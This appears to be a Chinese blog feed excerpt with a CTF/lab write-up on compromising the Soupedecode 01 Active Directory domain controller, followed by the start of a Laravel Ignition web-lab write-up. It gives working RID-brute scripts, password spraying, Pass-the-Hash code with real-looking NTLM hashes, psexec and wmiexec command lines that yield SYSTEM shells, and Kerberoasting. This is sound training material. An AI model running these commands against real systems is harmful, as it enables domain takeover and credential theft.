Administrator</span><br></code></pre></td></tr></table></figure><p><code>lsaquery</code> 和 <code>lookupsids</code> 对 guest 放行了，<code>enumdomusers</code> 没有。这就是突破口——虽然不能批量列用户，但能逐个反查。</p><h3 id="SID-与-RID-的关系"><a href="#SID-与-RID-的关系" class="headerlink" title="SID 与 RID 的关系"></a>SID 与 RID 的关系</h3><p>先搞清楚几个概念：</p><ul><li><strong>SID（Security Identifier）</strong>：Windows 里每个安全主体（用户、组、计算机）的唯一标识符，格式 <code>S-1-5-21-&lt;域标识&gt;-&lt;RID&gt;</code></li><li><strong>域 SID</strong>：同一个域内所有主体共享的固定前缀，比如 <code>S-1-5-21-875679470-3476450079-2794512899</code></li><li><strong>RID（Relative Identifier）</strong>：SID 的最后一段数字，域内每个主体各不相同</li></ul><p>举个例子：</p><figure class="highlight subunit"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs subunit">Administrator 的 SID = S<span class="hljs-string">-1</span><span class="hljs-string">-5</span><span class="hljs-string">-21</span><span class="hljs-string">-875679470</span><span class="hljs-string">-3476450079</span><span class="hljs-string">-2794512899</span><span class="hljs-string">-500</span><br>                                                域 SID（固定）         RID<br></code></pre></td></tr></table></figure><p>RID 的分配规则：</p><table><thead><tr><th>RID</th><th>含义</th></tr></thead><tbody><tr><td>500</td><td>Administrator（固定）</td></tr><tr><td>501</td><td>Guest（固定）</td></tr><tr><td>502</td><td>krbtgt（固定）</td></tr><tr><td>512+</td><td>内置组</td></tr><tr><td>1000+</td><td>域内创建的用户、组、计算机</td></tr></tbody></table><p>关键点：<code>lookupsids</code> 这个 RPC 调用能把任意 SID 反查成用户名，而且 guest 权限就够用。所以只要拿到域 SID，从 500 开始逐个拼 <code>域SID-RID</code> 去查，就能枚举出所有用户名——这就是 RID 爆破能成功的根本原因。</p><h3 id="RID-爆破"><a href="#RID-爆破" class="headerlink" title="RID 爆破"></a>RID 爆破</h3><p>拿到域 SID 后，从 RID 500 开始递增，逐个 lookupsids 反查用户名：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs bash">SID=<span class="hljs-string">&quot;S-1-5-21-875679470-3476450079-2794512899&quot;</span><br><span class="hljs-keyword">for</span> rid <span class="hljs-keyword">in</span> $(<span class="hljs-built_in">seq</span> 500 1200); <span class="hljs-keyword">do</span><br>  result=$(rpcclient -U <span class="hljs-string">&#x27;guest%&#x27;</span> 192.168.111.20 -c <span class="hljs-string">&quot;lookupsids <span class="hljs-variable">$SID</span>-<span class="hljs-variable">$rid</span>&quot;</span> 2&gt;/dev/null)<br>  <span class="hljs-keyword">if</span> [ -n <span class="hljs-string">&quot;<span class="hljs-variable">$result</span>&quot;</span> ] &amp;&amp; ! <span class="hljs-built_in">echo</span> <span class="hljs-string">&quot;<span class="hljs-variable">$result</span>&quot;</span> | grep -q <span class="hljs-string">&quot;NT_STATUS_NONE_MAPPED\|NT_STATUS_ACCESS_DENIED&quot;</span>; <span class="hljs-keyword">then</span><br>    <span class="hljs-built_in">echo</span> <span class="hljs-string">&quot;<span class="hljs-variable">$rid</span>: <span class="hljs-variable">$result</span>&quot;</span><br>  <span class="hljs-keyword">fi</span><br><span class="hljs-keyword">done</span><br></code></pre></td></tr></table></figure><p>爆出来的有效用户：</p><table><thead><tr><th>RID</th><th>用户名</th><th>类型</th></tr></thead><tbody><tr><td>500</td><td>Administrator</td><td>用户</td></tr><tr><td>501</td><td>Guest</td><td>用户</td></tr><tr><td>502</td><td>krbtgt</td><td>用户</td></tr><tr><td>1139</td><td><strong>ybob317</strong></td><td>用户</td></tr><tr><td>1140</td><td><strong>file_svc</strong></td><td>用户（服务账户）</td></tr><tr><td>1141-1151</td><td>FileServer$、WebServer$ 等</td><td>计算机账户</td></tr></tbody></table><blockquote><p>RID 分配规则：500-502 是固定内置账户，1000+ 是普通用户和组。WP 里用 crackmapexec 的 <code>--rid-brute</code> 参数就是把这个循环自动化了。</p></blockquote><h2 id="0x05-密码喷洒"><a href="#0x05-密码喷洒" class="headerlink" title="0x05 密码喷洒"></a>0x05 密码喷洒</h2><p>拿到用户列表后，用”用户名&#x3D;密码”模式喷洒。ybob317:ybob317 命中（靶场常见套路，很多人把密码设成自己的用户名）。</p><p>这组凭据是<strong>域账户密码</strong>，不是某个协议的密码。AD 的精髓就是单点登录——一套凭据通吃 SMB、LDAP、Kerberos、RDP、WinRM 等多个协议。密码对了只是认证通过，能不能用还要看每个协议的授权层。</p><h2 id="0x06-拿到第一份情报：backup-共享"><a href="#0x06-拿到第一份情报：backup-共享" class="headerlink" title="0x06 拿到第一份情报：backup 共享"></a>0x06 拿到第一份情报：backup 共享</h2><p>用 ybob317 认证后重新枚举共享，比匿名时多了 ADMIN$、C$：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">net view \\192.168.111.20<br></code></pre></td></tr></table></figure><p>backup 共享现在能读了（之前 guest 只能连不能读），里面有 <code>backup_extract.txt</code>：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">copy \\192.168.111.20\backup\backup_extract.txt backup_extract.txt<br></code></pre></td></tr></table></figure><p>内容是所有机器账户的 NTLM 哈希和 Kerberos key：</p><figure class="highlight elixir"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs elixir"><span class="hljs-title class_">FileServer</span><span class="hljs-variable">$:</span><span class="hljs-number">1142</span><span class="hljs-symbol">:aad3b435b51404eeaad3b435b51404ee</span><span class="hljs-symbol">:</span><span class="hljs-number">3647</span>bc99352403e306780b2c0c63a685:::<br><span class="hljs-title class_">WebServer</span><span class="hljs-variable">$:</span><span class="hljs-number">1143</span><span class="hljs-symbol">:aad3b435b51404eeaad3b435b51404ee</span><span class="hljs-symbol">:</span><span class="hljs-number">9</span>bcde1e9b9f1d387b4384df7a6999d74:::<br>...<br>soupedecode.local\<span class="hljs-title class_">FileServer</span><span class="hljs-variable">$:</span>aes256-cts-hmac-sha1<span class="hljs-number">-96</span><span class="hljs-symbol">:</span><span class="hljs-number">73</span>aed49ef2f5...<br></code></pre></td></tr></table></figure><h2 id="0x07-Pass-the-Hash-拿-SYSTEM"><a href="#0x07-Pass-the-Hash-拿-SYSTEM" class="headerlink" title="0x07 Pass-the-Hash 拿 SYSTEM"></a>0x07 Pass-the-Hash 拿 SYSTEM</h2><p>backup 文件里的是 <strong>NTLM 哈希</strong>，不是 Kerberos 票据。NTLM 哈希可以直接用（Pass-the-Hash），不用爆破——因为 Windows 认证只验哈希不验密码，有哈希等于有密码。</p><p>逐个测试机器哈希，FileServer$ 登录成功且有管理员权限（能访问 C$ 和 ADMIN$）：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">from</span> impacket.smbconnection <span class="hljs-keyword">import</span> SMBConnection<br>s = SMBConnection(<span class="hljs-string">&quot;192.168.111.20&quot;</span>, <span class="hljs-string">&quot;192.168.111.20&quot;</span>)<br>s.login(<span class="hljs-string">&quot;FileServer$&quot;</span>, <span class="hljs-string">&quot;&quot;</span>, <span class="hljs-string">&quot;SOUPEDECODE&quot;</span>, <span class="hljs-string">&quot;&quot;</span>, <span class="hljs-string">&quot;3647bc99352403e306780b2c0c63a685&quot;</span>)<br><span class="hljs-comment"># C$ 和 ADMIN$ 都能访问 = 管理员权限</span><br></code></pre></td></tr></table></figure><p>用 psexec.py 拿交互式 shell：</p><figure class="highlight llvm"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs llvm">python<span class="hljs-number">3</span> psexec.py -hashes aad<span class="hljs-number">3</span>b<span class="hljs-number">435</span>b<span class="hljs-number">51404</span>eeaad<span class="hljs-number">3</span>b<span class="hljs-number">435</span>b<span class="hljs-number">51404</span>ee:<span class="hljs-number">3647</span>bc<span class="hljs-number">99352403e306780</span>b<span class="hljs-number">2</span><span class="hljs-keyword">c</span><span class="hljs-number">0</span><span class="hljs-keyword">c</span><span class="hljs-number">63</span>a<span class="hljs-number">685</span> <span class="hljs-string">&quot;SOUPEDECODE.LOCAL/FileServer$@192.168.111.20&quot;</span><br></code></pre></td></tr></table></figure><blockquote><p>cmd 里 <code>$</code> 不是特殊字符，直接写 <code>FileServer$</code>，不要加反斜杠转义。</p></blockquote><p>psexec 的原理：用 PTH 认证连上 ADMIN$ 共享 → 上传一个远程 shell 服务 → 通过 SCM 创建并启动服务 → 拿到 SYSTEM 权限的 cmd。</p><figure class="highlight livescript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs livescript">C:<span class="hljs-string">\Windows\system32&gt;</span> whoami<br>nt authority<span class="hljs-string">\system</span><br><br>C:<span class="hljs-string">\Windows\system32&gt;</span> type C:<span class="hljs-string">\flag.log</span><br>bd42e8070dd53effd2c93ae6c7e08685<br></code></pre></td></tr></table></figure><p>flag 到手。</p><h3 id="WP-的另一条路：Kerberoasting"><a href="#WP-的另一条路：Kerberoasting" class="headerlink" title="WP 的另一条路：Kerberoasting"></a>WP 的另一条路：Kerberoasting</h3><p>Writeup 里走了另一条路拿凭据——Kerberoasting。和我们从 backup 文件直接拿 NTLM 哈希不同，WP 是用 ybob317 的凭据去烤 TGS 票据：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># 探测有 SPN 的服务账户并请求票据</span><br>GetUserSPNs.py SOUPEDECODE.LOCAL/ybob317:ybob317 -dc-ip 192.168.111.20 -request<br></code></pre></td></tr></table></figure><p>输出拿到 file_svc 服务账户的 TGS 票据 hash：</p><figure class="highlight crystal"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs crystal"><span class="hljs-variable">$krb</span>5tgs<span class="hljs-variable">$2</span>3<span class="hljs-variable">$*</span>file_svc<span class="hljs-variable">$SOUPEDECODE</span>.LOCAL<span class="hljs-variable">$SPN</span>/*file_svc<span class="hljs-variable">$:</span>&lt;hash...&gt;<br></code></pre></td></tr></table></figure><p>这个 hash 的原理：TGS 票据是用服务账户密码的 NTLM hash 加密的，拿到票据后可以离线爆破，爆破成功就得到服务账户的明文密码。</p><p>两种路线对比：</p><table><thead><tr><th></th><th>我们的路线</th><th>WP 的路线</th></tr></thead><tbody><tr><td>哈希来源</td><td>backup 共享里的 backup_extract.txt</td><td>Kerberoasting 烤出的 TGS 票据</td></tr><tr><td>哈希格式</td><td>NTLM hash（<code>aad3b...:3647bc...</code>）</td><td>Kerberos TGS（<code>$krb5tgs$23$*...</code>）</td></tr><tr><td>能否直接用</td><td>能，PTH 直接登录</td><td>不能，需要爆破</td></tr><tr><td>爆破</td><td>不需要</td><td>用 hashcat 爆破 TGS hash 得明文密码</td></tr><tr><td>最终手段</td><td>PTH + psexec.py</td><td>明文密码 + psexec.py</td></tr></tbody></table><p>核心区别：<strong>NTLM 哈希是钥匙，拿到直接用；TGS 票据是上锁的箱子，拿到要爆破。</strong> 我们运气好，backup 文件直接给了 NTLM 哈希，省去了爆破步骤。WP 没有 backup 这条路（或者没发现），只能走 Kerberoasting 爆破。</p><blockquote><p>补充：如果 backup 文件里还有 AES256 key（<code>aes256-cts-hmac-sha1-96</code>），那也是钥匙级别的——拿到可以直接 Pass-the-Key，不用爆破。TGS 票据之所以要爆破，是因为它不是 key 本身，而是用 key 加密后的密文。</p></blockquote><h2 id="0x08-完整攻击链"><a href="#0x08-完整攻击链" class="headerlink" title="0x08 完整攻击链"></a>0x08 完整攻击链</h2><figure class="highlight fortran"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><code class="hljs fortran">guest 空密码登录 rpcclient<br>    ↓<br>lsaquery 拿域 SID<br>    ↓<br>RID 爆破枚举全量用户（ybob317）<br>    ↓<br>密码喷洒 ybob317:ybob317 命中<br>    ↓<br>ybob317 读 backup 共享 → backup_extract.txt（机器账户 NTLM 哈希）<br>    ↓<br><span class="hljs-keyword">Pass</span>-the-Hash（FileServer$ 哈希）<br>    ↓<br>psexec.py → SYSTEM<br>    ↓<br><span class="hljs-keyword">type</span> C:\flag.<span class="hljs-built_in">log</span> → flag<br></code></pre></td></tr></table></figure><h2 id="0x09-关键概念总结"><a href="#0x09-关键概念总结" class="headerlink" title="0x09 关键概念总结"></a>0x09 关键概念总结</h2><h3 id="为什么”没有凭据但需要用户名”"><a href="#为什么”没有凭据但需要用户名”" class="headerlink" title="为什么”没有凭据但需要用户名”"></a>为什么”没有凭据但需要用户名”</h3><p>一组凭据 &#x3D; 用户名 + 密码。用户名是能”白嫖”的半组凭据（KDC 会泄露存在性），密码是要攻击的半组。先把便宜的半组搞到手，再攻贵的半组。</p><h3 id="NTLM-哈希-vs-Kerberos-票据"><a href="#NTLM-哈希-vs-Kerberos-票据" class="headerlink" title="NTLM 哈希 vs Kerberos 票据"></a>NTLM 哈希 vs Kerberos 票据</h3><ul><li><strong>NTLM 哈希</strong> &#x3D; 钥匙，拿到直接用（PTH）</li><li><strong>Kerberos 票据（$krb5tgs$）</strong> &#x3D; 上锁的箱子，拿到要爆破</li><li><strong>Kerberos key（AES256 等）</strong> &#x3D; 钥匙，拿到直接用（Pass-the-Key）</li></ul><h3 id="每个端口背后的能力"><a href="#每个端口背后的能力" class="headerlink" title="每个端口背后的能力"></a>每个端口背后的能力</h3><table><thead><tr><th>端口</th><th>协议</th><th>能干什么</th></tr></thead><tbody><tr><td>88</td><td>Kerberos&#x2F;KDC</td><td>认证、发票、用户名枚举、AS-REP Roasting</td></tr><tr><td>445&#x2F;139</td><td>SMB</td><td>共享文件、承载 RPC 管道、空会话</td></tr><tr><td>389&#x2F;636</td><td>LDAP</td><td>查域数据库（用户、组、密码策略）</td></tr><tr><td>135</td><td>RPC</td><td>远程调用总机</td></tr><tr><td>53</td><td>DNS</td><td>名字解析</td></tr><tr><td>3389</td><td>RDP</td><td>远程桌面</td></tr></tbody></table><h3 id="一个命令不行不代表全不行"><a href="#一个命令不行不代表全不行" class="headerlink" title="一个命令不行不代表全不行"></a>一个命令不行不代表全不行</h3><p><code>enumdomusers</code> 被拒，但 <code>lsaquery</code> 和 <code>lookupsids</code> 没被拒。每个 RPC 接口有独立权限检查，要逐个试探。这是 RID 爆破能成功的根本原因。</p><h2 id="0x0A-工具清单"><a href="#0x0A-工具清单" class="headerlink" title="0x0A 工具清单"></a>0x0A 工具清单</h2><table><thead><tr><th>工具</th><th>用途</th><th>运行环境</th></tr></thead><tbody><tr><td>fscan</td><td>快速端口扫描</td><td>Windows</td></tr><tr><td>kerbrute</td><td>Kerberos 用户名枚举</td><td>Windows</td></tr><tr><td>GetNPUsers.py</td><td>AS-REP Roasting</td><td>Python (impacket)</td></tr><tr><td>rpcclient</td><td>SMB&#x2F;RPC 枚举、RID 爆破</td><td>WSL Kali (Samba)</td></tr><tr><td>smbclient</td><td>SMB 共享访问</td><td>WSL Kali (Samba)</td></tr><tr><td>psexec.py</td><td>PTH 拿 shell</td><td>Python (impacket)</td></tr></tbody></table><h2 id="0x0B-踩坑记录"><a href="#0x0B-踩坑记录" class="headerlink" title="0x0B 踩坑记录"></a>0x0B 踩坑记录</h2><ol><li><strong>net use 删连接报 1219</strong>：删的时候要用完整共享路径 <code>\backup</code>，不能只写服务器根</li><li><strong>ADSI 匿名绑定失败</strong>：DirectoryEntry 会偷用当前身份，换 LdapConnection + Anonymous</li><li><strong>kerbrute Encoding_Error 不是 AS-REP</strong>：是解析 bug，要用 GetNPUsers.py 确认</li><li><strong>WSL 网络不通</strong>：要开 <code>networkingMode=mirrored</code>，重启 WSL 才生效</li><li><strong>psexec 报 ACCESS_DENIED</strong>：cmd 里 <code>$</code> 不需要转义，直接写 <code>FileServer$</code></li><li><strong>cme v5.22 跑不了</strong>：依赖 <code>imp</code> 模块，Python 3.12+ 删了，需要旧 Python</li></ol><h2 id="0x0C-远程-Shell-工具：各种-exec-的区别"><a href="#0x0C-远程-Shell-工具：各种-exec-的区别" class="headerlink" title="0x0C 远程 Shell 工具：各种 exec 的区别"></a>0x0C 远程 Shell 工具：各种 exec 的区别</h2><p>拿到凭据或哈希后，需要远程执行命令拿 shell。impacket 自带了多种 exec，底层走的 Windows 远程执行机制各不相同，一个被堵就换另一个。</p><h3 id="psexec-py-—-SMB-服务控制管理器"><a href="#psexec-py-—-SMB-服务控制管理器" class="headerlink" title="psexec.py — SMB + 服务控制管理器"></a>psexec.py — SMB + 服务控制管理器</h3><p>原理：用凭据&#x2F;哈希连上 <code>ADMIN$</code> 共享 → 上传一个 exe → 通过 RPC 调 SCM 创建 Windows 服务指向该 exe → 启动服务 → 拿到半交互式 shell。退出时删文件、删服务。</p><p>特点：会落地文件、创建服务，痕迹明显但最稳定，拿到的是 <strong>SYSTEM</strong> 权限（服务以 LocalSystem 跑）。</p><figure class="highlight lasso"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs lasso">psexec.py <span class="hljs-params">-hashes</span> aad3b<span class="hljs-params">...</span>:<span class="hljs-number">3647</span>bc<span class="hljs-params">...</span> <span class="hljs-string">&quot;SOUPEDECODE.LOCAL/FileServer$@192.168.111.20&quot;</span><br></code></pre></td></tr></table></figure><h3 id="wmiexec-py-—-WMI-over-DCOM"><a href="#wmiexec-py-—-WMI-over-DCOM" class="headerlink" title="wmiexec.py — WMI over DCOM"></a>wmiexec.py — WMI over DCOM</h3><p>原理：通过 DCOM 连上 WMI 服务 → 调用 <code>Win32_Process.Create</code> 执行命令 → 输出重定向到临时文件 → 再通过 SMB 读文件拿回显 → 读完删除。</p><p>特点：不上传二进制、不创建服务，隐蔽性好，体感最快（每条命令只走一轮 WMI 调用）。但不是真交互式 shell，每条命令单独执行。拿到的是<strong>登录账户的权限</strong>，不是 SYSTEM。<code>-codec gbk</code> 解决中文回显乱码。</p><figure class="highlight dns"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs dns">wmiexec.py -hashes :ec0df45863a3751d56ba6df<span class="hljs-number">1e72f7218</span> myd.com/Administrator@<span class="hljs-number">192.168.111.100</span> -codec gbk<br></code></pre></td></tr></table></figure><h3 id="smbexec-py-—-SMB-计划任务"><a href="#smbexec-py-—-SMB-计划任务" class="headerlink" title="smbexec.py — SMB + 计划任务"></a>smbexec.py — SMB + 计划任务</h3><p>原理：不上传 exe，把命令写进 bat 文件，通过 SMB 共享让目标执行，输出重定向到临时文件再读回来。</p><p>特点：介于 psexec 和 wmiexec 之间，隐蔽性比 psexec 好，但比 wmiexec 慢。</p><h3 id="atexec-py-—-任务计划服务（TSCH）"><a href="#atexec-py-—-任务计划服务（TSCH）" class="headerlink" title="atexec.py — 任务计划服务（TSCH）"></a>atexec.py — 任务计划服务（TSCH）</h3><p>原理：通过 RPC 调 Task Scheduler 创建一次性计划任务执行命令，跑完任务自动删除。</p><p>特点：适合”只想跑一条命令拿结果”的场景，不留持久痕迹。</p><h3 id="dcomexec-py-—-DCOM（ShellWindows）"><a href="#dcomexec-py-—-DCOM（ShellWindows）" class="headerlink" title="dcomexec.py — DCOM（ShellWindows）"></a>dcomexec.py — DCOM（ShellWindows）</h3><p>原理：走 <code>ShellWindows</code> 或 <code>ShellBrowserWindow</code> 这两个 DCOM 对象的 <code>Execute</code> 方法，跟 wmiexec 原理接近但走的 COM 接口不同。</p><p>特点：当 WMI 被监控或禁用时能顶上，算 wmiexec 的隐蔽变种。</p><h3 id="对比表"><a href="#对比表" class="headerlink" title="对比表"></a>对比表</h3><table><thead><tr><th>工具</th><th>底层通道</th><th>落地文件</th><th>权限</th><th>隐蔽性</th><th>典型场景</th></tr></thead><tbody><tr><td>psexec.py</td><td>SMB + SCM 服务</td><td>上传 exe 到 ADMIN$</td><td>SYSTEM</td><td>低</td><td>需要稳定 shell</td></tr><tr><td>wmiexec.py</td><td>WMI&#x2F;DCOM</td><td>不上传，只写临时输出文件</td><td>登录账户</td><td>高</td><td>快速隐蔽执行</td></tr><tr><td>smbexec.py</td><td>SMB + 计划任务</td><td>bat 文件</td><td>登录账户</td><td>中</td><td>psexec 不通时替补</td></tr><tr><td>atexec.py</td><td>TSCH（任务计划）</td><td>无</td><td>登录账户</td><td>高</td><td>只跑一条命令</td></tr><tr><td>dcomexec.py</td><td>DCOM ShellWindows</td><td>不上传</td><td>登录账户</td><td>高</td><td>WMI 被禁时替补</td></tr></tbody></table><h3 id="非-impacket-的-exec"><a href="#非-impacket-的-exec" class="headerlink" title="非 impacket 的 exec"></a>非 impacket 的 exec</h3><table><thead><tr><th>工具</th><th>特点</th></tr></thead><tbody><tr><td>CrackMapExec &#x2F; NetExec</td><td><code>--exec-method smbexec/atexec/wmiexec/mmcexec</code> 参数切换，一个工具覆盖多种方法，批量执行神器</td></tr><tr><td>Evil-WinRM</td><td>走 WinRM（5985），需要目标开了 WinRM 且账户在 Remote Management Users 组，拿的是 PowerShell，功能最强</td></tr><tr><td>Metasploit psexec_psh</td><td>用 PowerShell 版的 psexec，不走传统 SMB exe，过一些 AV</td></tr></tbody></table><h3 id="怎么选"><a href="#怎么选" class="headerlink" title="怎么选"></a>怎么选</h3><p>实战决策顺序：先试 wmiexec（快、隐蔽）→ 不通就试 psexec（稳、拿 SYSTEM）→ 都不通就换 smbexec &#x2F; atexec &#x2F; dcomexec。想要 PowerShell 环境直接上 Evil-WinRM（前提 5985 开着）。批量打多台机器用 NetExec 一把梭。本质上这些工具的区别就是”用 Windows 的哪个远程执行机制”——服务管理器、WMI、计划任务、DCOM、WinRM，都是 Windows 自带的管理通道，各自需要的权限和留下的痕迹不同。</p><h2 id="结语"><a href="#结语" class="headerlink" title="结语"></a>结语</h2><p>这个靶场把 AD 渗透的侦察链串得很完整：从端口特征判定域控，到匿名通道逐个试探，到 RID 爆破突破用户名瓶颈，最后 PTH 拿 SYSTEM。最核心的一课是”一个命令不行不代表所有命令都不行”——SMB 空会话被拒不等于 RPC 接口全关，逐个试探才找到 lsaquery 和 lookupsides 这两个漏网的口子。</p><p>渗透测试本质就是个不断试错的过程，拿到新凭据后要回头重新走一遍之前的流程，经常会有新的发现。</p><hr><p><em>flag: bd42e8070dd53effd2c93ae6c7e08685</em></p>]]>
    </content>
    <id>http://82.156.189.140:8085/2026/07/04/Soupedecode01/</id>
    <link href="http://82.156.189.140:8085/2026/07/04/Soupedecode01/"/>
    <published>2026-07-04T04:29:55.000Z</published>
    <summary>
      <![CDATA[<p>﻿# Soupedecode 01 域控渗透 - 从零到 SYSTEM 的完整记录</p>
<blockquote>
<p>复刻自 TryHackMe Soupedecode 01，单机域控练习，flag 在目标 C 盘根目录下。<br>目标：192.168.111.20]]>
    </summary>
    <title>Soupedecode01</title>
    <updated>2026-07-18T03:15:21.943Z</updated>
  </entry>
  <entry>
    <author>
      <name>fortuneh2c</name>
    </author>
    <category term="题解" scheme="http://82.156.189.140:8085/categories/%E9%A2%98%E8%A7%A3/"/>
    <category term="CTF" scheme="http://82.156.189.140:8085/tags/CTF/"/>
    <category term="Writeup" scheme="http://82.156.189.140:8085/tags/Writeup/"/>
    <content>
      <![CDATA[<p>﻿# Delta Breach 靶场通关实录：从信息收集到 POP 链无回显 RCE</p><blockquote><p>靶场来源：雾島风起時<br>类型：综合 Web 渗透靶场<br>目标：<code>ulab.bdziyi.cn:20737</code><br>通关时间：2026-07-03<br>Flag：<code>flag&#123;b2706734-f623-437e-8924-f94ab0ee81d0&#125;</code><br>考察知识点：双写绕过 WAF、php:&#x2F;&#x2F;filter 编码绕过内容检测、Laravel Cookie 加密机制与密钥复用、POP 链反序列化构造</p></blockquote><h2 id="写在前面"><a href="#写在前面" class="headerlink" title="写在前面"></a>写在前面</h2><p>这个靶场设计了一条完整的利用链，模拟了”三角洲通行证”代练交易平台被入侵的场景。整条链有六个阶段，环环相扣：信息收集、路径遍历、凭据泄露、Cookie 伪造、反序列化、拿 Flag。过程中踩了一个很经典的坑——一直默认后端是 Windows（因为报错路径写的是 <code>D:\path\...</code>），结果 <code>exec()</code> 重定向死活不出内容，换成 Linux 的 <code>sh -c</code> 包裹后秒通。这个教训后面会细说。</p><hr><h2 id="一、信息收集：摸清靶场底细"><a href="#一、信息收集：摸清靶场底细" class="headerlink" title="一、信息收集：摸清靶场底细"></a>一、信息收集：摸清靶场底细</h2><h3 id="1-1-初始探测"><a href="#1-1-初始探测" class="headerlink" title="1.1 初始探测"></a>1.1 初始探测</h3><p>从首页入手，发了一个普通的 GET 请求。响应头里立刻暴露了关键信息：</p><figure class="highlight gams"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs gams">X-Powered-By: PHP/<span class="hljs-number">8.1</span><span class="hljs-number">.34</span><br><span class="hljs-keyword">Set</span>-Cookie: XSRF-TOKEN=eyJpdiI6...  (Laravel 加密 <span class="hljs-comment">Cookie)</span><br><span class="hljs-keyword">Set</span>-Cookie: laravel_session=eyJpdiI6...  (Laravel 加密 <span class="hljs-comment">Cookie)</span><br></code></pre></td></tr></table></figure><p>两个 Cookie 的值都是 <code>eyJpdiI6</code> 开头的 base64——这是 Laravel 加密 payload 的 JSON 结构里的 <code>iv</code> 字段开头。基本可以确认这是 Laravel 框架。</p><p>页面内容是一个”三角洲护航”代练交易平台，有价格表、打手列表、登录注册入口。</p><h3 id="1-2-路由梳理"><a href="#1-2-路由梳理" class="headerlink" title="1.2 路由梳理"></a>1.2 路由梳理</h3><p>逐个访问可见页面，梳理出前端路由：</p><table><thead><tr><th>路由</th><th>方法</th><th>说明</th></tr></thead><tbody><tr><td><code>/</code></td><td>GET</td><td>价格表首页</td></tr><tr><td><code>/boosters</code></td><td>GET</td><td>打手列表，每个有 <code>data-id</code>（101-104）</td></tr><tr><td><code>/cart</code></td><td>GET</td><td>购物车（需登录）</td></tr><tr><td><code>/cart/add</code></td><td>POST</td><td>加入购物车（JSON，需登录）</td></tr><tr><td><code>/login</code></td><td>GET&#x2F;POST</td><td>登录，字段 <code>username</code> + <code>password</code></td></tr><tr><td><code>/register</code></td><td>GET&#x2F;POST</td><td>注册，同上</td></tr><tr><td><code>/profile</code></td><td>GET</td><td>个人资料（需登录）</td></tr></tbody></table><p>前端 JS（<code>/js/app.js</code>）里还暴露了 API 调用方式：<code>fetch(&#39;/cart/add&#39;, &#123;...&#125;)</code> 带 <code>X-CSRF-TOKEN</code> 头。</p><h3 id="1-3-关键发现：Ignition-端点"><a href="#1-3-关键发现：Ignition-端点" class="headerlink" title="1.3 关键发现：Ignition 端点"></a>1.3 关键发现：Ignition 端点</h3><p>探测常见 Laravel 路径时，<code>/.env</code> 返回了一个不同寻常的 404 页面——不是 Laravel 默认的 404，而是一个带完整堆栈跟踪的错误页：</p><figure class="highlight nix"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><code class="hljs nix">Facade\Ignition\Exceptions\ViewException<br>View [] not found.<br><br>Target <span class="hljs-params">Endpoint:</span> POST <span class="hljs-symbol">/_ignition/execute-solution</span><br>Required JSON <span class="hljs-params">Payload:</span><br>&#123;<br>  <span class="hljs-string">&quot;solution&quot;</span>: <span class="hljs-string">&quot;Facade<span class="hljs-char escape_">\\</span>Ignition<span class="hljs-char escape_">\\</span>Solutions<span class="hljs-char escape_">\\</span>MakeViewVariableOptionalSolution&quot;</span>,<br>  <span class="hljs-string">&quot;parameters&quot;</span>: &#123;<br>    <span class="hljs-string">&quot;viewFile&quot;</span>: <span class="hljs-string">&quot;...&quot;</span><br>  &#125;<br>&#125;<br><br>Stack <span class="hljs-params">Trace:</span><br>  Illuminate\View\FileViewFinder<span class="hljs-operator">-&gt;</span>findInPaths(&#x27;boosters&#x27;, array(&#x27;D:\path\resources\views&#x27;))<br></code></pre></td></tr></table></figure><p>这个错误页直接暴露了三样东西：</p><ol><li>用的是 <code>facade/ignition</code>（Laravel 开发调试工具）</li><li>利用端点 <code>POST /_ignition/execute-solution</code>，接受 <code>viewFile</code> 参数</li><li>系统路径 <code>D:\path\resources\views</code>——注意这里写的是 Windows 风格路径，这个线索后面会坑我</li></ol><p>接着验证了 <code>/_ignition/health-check</code>：</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs json"><span class="hljs-punctuation">&#123;</span><span class="hljs-attr">&quot;can_execute_commands&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-literal"><span class="hljs-keyword">true</span></span><span 